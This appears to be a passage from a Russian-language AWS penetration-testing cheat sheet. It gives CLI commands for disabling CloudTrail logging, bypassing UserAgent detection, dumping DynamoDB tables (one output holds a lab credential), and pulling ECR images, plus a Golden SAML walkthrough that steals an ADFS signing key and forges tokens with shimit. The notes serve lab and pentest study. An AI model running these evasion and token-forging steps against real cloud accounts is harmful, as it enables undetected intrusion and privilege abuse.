1 aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event


Отключить мониторинг на конкретные регионы:

1 aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west

validate-logs

Проверить, были ли изменены логи.

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]


Эксплуатация

Обход правила по UserAgent

На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.

Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.

DynamoDB

Cистема управления базами данных класса NoSQL в формате «ключ — значение».

Роли - управление

dynamodb:ListTables

Позволяет посмотреть спрсок таблиц базы данных.

1 aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        
2 
3 {
4     "TableNames": [
5         "users"
6     ]
7 }

dynamodb:Scan

Получение обьектов из базы данных:

 1 aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'
 2 
 3 {
 4   "password": {
 5     "S": "Management@#1@#"
 6   },
 7   "username": {
 8     "S": "Mgmt"
 9   }
10 }


ES (ElasticSearch)

ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.

Формат ссылки:

1 https://{user_provided}-{random_id}.{region}.es.amazonaws.com


ELB (Elastic Load Balancing)

Балансировщик нагрузки.


Формат ссылки (elb_v1):

1 http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443

Формат ссылки (elb_v2):

1 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com

RDS (Relational Database Service)

Облачная реляционная база данных (на выбор).

Формат ссылки:

1 mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
2 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432

Route 53

Настраиваемая служба DNS.

Формат ссылки:

1 {user_provided}

API Gateway

API-сервис, который будет доступен почти со всех серверов.

Формат ссылки:

1 https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
2 https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}

CloudSearch

Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.


Формат ссылки:

1 https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com

Transfer Family

Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).

Формат ссылки:

1 sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
2 ftps://s-{random_id}.server.transfer.{region}.amazonaws.com
3 ftp://s-{random_id}.server.transfer.{region}.amazonaws.com


IoT (Internet Of Things)

Сервис для управления IoT-устройствами.

Формат ссылки:

1 mqtt://{random_id}.iot.{region}.amazonaws.com:8883
2 https://{random_id}.iot.{region}.amazonaws.com:8443
3 https://{random_id}.iot.{region}.amazonaws.com:443

MQ

Сервис брокера сообщений для Apache ActiveMQ & RabbitMQ.


Формат ссылки:

1 https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
2 ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617

MSK (Managed Streaming for Apache Kafka)

Сервис потоковой передачи данных в Apache Kafka.


Формат ссылки:

1 b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
2 {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com

Cloud9

Облачная интегрированная среда разработки(IDE) используя только браузер.

Формат ссылки:

1 https://{random_id}.vfs.cloud9.{region}.amazonaws.com


MediaStore

Cервис хранилища AWS, оптимизированный для мультимедийных материалов.


Формат ссылки:

1 https://{random_id}.data.mediastore.{region}.amazonaws.com


Kinesis Video Streams

Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.


Формат ссылки:

1 https://{random_id}.kinesisvideo.{region}.amazonaws.com


Elemental MediaConvert

Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.

Формат ссылки:

1 https://{random_id}.mediaconvert.{region}.amazonaws.com


Elemental MediaPackage

Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.


Формат ссылки:

1 https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel

ECR (Elastic Container Registry)

Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.


Роли - управление

ecr:ListImages

Получить список образов:

1 aws ecr list-images --repository-name <ECR_name> --registry-id <UserID> --region <region> --profile <profile_name>

ecr:GetDownloadUrlForLayer

Позволяет получить URL на скачивание образа.

ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken

Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):

1 aws ecr get-login
2 docker pull <UserID>.dkr.ecr.us-east-1.amazonaws.com/<ECRName>:latest
3 docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0

Утилиты

Вычисление ролей

enumerate-iam

github.com:andresriancho/enumerate-iam.git


Эксплуатация

Golden SAML

Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.


Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

shimit

https://github.com/cyberark/shimit

Установка:

1 cd /tmp
2 python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
3 git clone https://github.com/cyberark/shimit
4 cd shmit
5 python shmit.py


В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ. Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell


Пример эксплуатации:

 1 # Получаем приватный ключ
 2 [System.Convert]::ToBase64String($cer.rawdata)
 3 (Get-ADFSProperties).Identifier.AbsoluteUri
 4 (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
 5 
 6 # Получаем инфу о юзерах - выбираем цель
 7 aws iam list-users
 8 
 9 # Получаем токен
10 python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
11 -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
12 
13 # Проверяем текущий аккаунт
14 aws opsworks describe-my-user-profile

Проверки безопасности

Для администраторов преимущественно.

Zeus

https://github.com/DenizParlak/Zeus


Другое

aws_consoler

https://github.com/NetSPI/aws_consoler

All-In-One

pacu

https://github.com/RhinoSecurityLabs/pacu

ScoutSuite

https://github.com/nccgroup/ScoutSuite

cloudfox

https://github.com/BishopFox/cloudfox

Ссылки

Статьи

Hijacking IAM Roles and Avoiding Detection

Bypass GuardDuty PenTest Alerts

Intercept SSM Agent Communications

Лаборатории

Damn Vulnerable Cloud Application

SadCloud

Flaws

Flaws

HackTheBox Stacked Writeup

CloudGoat

SadCloud

AWS Well-Architected Labs

Attack Detection Fundamentals 2021: AWS - Lab #1

Краткие заметки

PayloadAllTheThings

hacktricks-s3

hacktricks-aws

learntocloud(много ссылок)

Книги

Hands-On AWS Penetration Testing with Kali Linux